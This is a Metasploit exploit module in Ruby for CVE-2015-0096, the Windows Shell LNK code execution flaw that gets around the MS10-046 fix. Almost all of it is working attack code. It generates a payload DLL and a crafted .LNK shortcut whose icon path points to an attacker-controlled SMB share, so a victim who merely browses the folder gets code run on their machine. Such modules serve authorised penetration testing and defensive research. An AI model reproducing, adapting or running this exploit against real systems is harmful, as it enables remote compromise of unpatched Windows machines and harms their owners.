##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  attr_accessor :dll_base_name
  attr_accessor :exploit_dll_base_name

  def initialize(info = {})
    super(update_info(info,
      'Name'			=> 'Microsoft Windows Shell LNK Code Execution',
      'Description'	=> %q{
        This module exploits a vulnerability in the MS10-046 patch to abuse (again) the handling
        of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious
        DLL. This module creates the required files to exploit the vulnerability. They must be
        uploaded to an UNC path accessible by the target. This module has been tested successfully
        on Windows 2003 SP2 with MS10-046 installed and Windows 2008 SP2 (32 bits) with MS14-027
        installed.
      },
      'Author'		=>
        [
          'Michael Heerklotz', # Vulnerability discovery
          'juan vazquez' # msf module
        ],
      'License'		=> MSF_LICENSE,
      'References'	=>
        [
          ['CVE', '2015-0096'],
          ['MSB', 'MS15-020'],
          ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/6718459#.VQBOymTF9so'],
          ['URL', 'https://github.com/rapid7/metasploit-framework/pull/4911'] # How to guide here
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'		=>
        {
          'Space'	=> 2048,
        },
      'Platform'		=> 'win',
      'Targets'		=>
        [
          ['Automatic',	{ }]
        ],
      'DisclosureDate' => '2015-03-10',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [true, 'The LNK file', 'msf.lnk']),
        OptString.new('UNCHOST', [true, 'The host portion of the UNC path to provide to clients (ex: 1.2.3.4).']),
        OptString.new('UNCSHARE', [true, 'The share folder portion of the UNC path to provide to clients (ex: share).']),
      ])
  end

  def smb_host
    "\\\\#{datastore['UNCHOST']}\\#{datastore['UNCSHARE']}\\"
  end

  def exploit_dll_filename
    name_length = 257 - (smb_host.length + 4 + 2)

    self.dll_base_name = dll_base_name || rand_text_alpha(1)
    self.exploit_dll_base_name = exploit_dll_base_name || rand_text_alpha(name_length)

    "#{dll_base_name} #{exploit_dll_base_name}.dll"
  end

  def dll_filename
    self.dll_base_name = dll_base_name || rand_text_alpha(1)

    "#{dll_base_name}.dll"
  end

  def create_exploit_file(file_name, data)
    unless ::File.directory?(Msf::Config.local_directory)
      FileUtils.mkdir_p(Msf::Config.local_directory)
    end
    path = File.join(Msf::Config.local_directory, file_name)
    full_path = ::File.expand_path(path)
    File.open(full_path, 'wb') { |fd| fd.write(data) }

    full_path
  end

  def dll_create(data)
    full_path = create_exploit_file(dll_filename, data)

    print_good "DLL with payload stored at #{full_path}"
  end

  def exploit_dll_create(data)
    full_path = create_exploit_file(exploit_dll_filename, data)

    print_good "Fake dll to exploit stored at #{full_path}"
  end

  def exploit
    dll = generate_payload_dll
    dll_create(dll)
    exploit_dll_create(dll)

    lnk = generate_link("#{smb_host}#{exploit_dll_filename}")
    file_create(lnk)
  end

  # stolen from ms10_046_shortcut_icon_dllloader, all the credits to the original authors: 'hdm', 'jduck', 'B_H'
  def generate_link(unc)
    uni_unc = unc.unpack('C*').pack('v*')
    path = ''
    path << [
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    ].pack('C*')
    path << uni_unc

    # LinkHeader
    ret = [
      0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    ].pack('C*')

    idlist_data = ''
    idlist_data << [0x12 + 2].pack('v')
    idlist_data << [
      0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
      0x30, 0x9d
    ].pack('C*')
    idlist_data << [0x12 + 2].pack('v')
    idlist_data << [
      0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
      0x30, 0x9d
    ].pack('C*')
    idlist_data << [path.length + 2].pack('v')
    idlist_data << path
    idlist_data << [0x00].pack('v') # TERMINAL WOO

    # LinkTargetIDList
    ret << [idlist_data.length].pack('v') # IDListSize
    ret << idlist_data

    # ExtraData blocks (none)
    ret << [rand(4)].pack('V')

    # Patch in the LinkFlags
    ret[0x14, 4] = ['10000001000000000000000000000000'.to_i(2)].pack('N')

    ret
  end
end
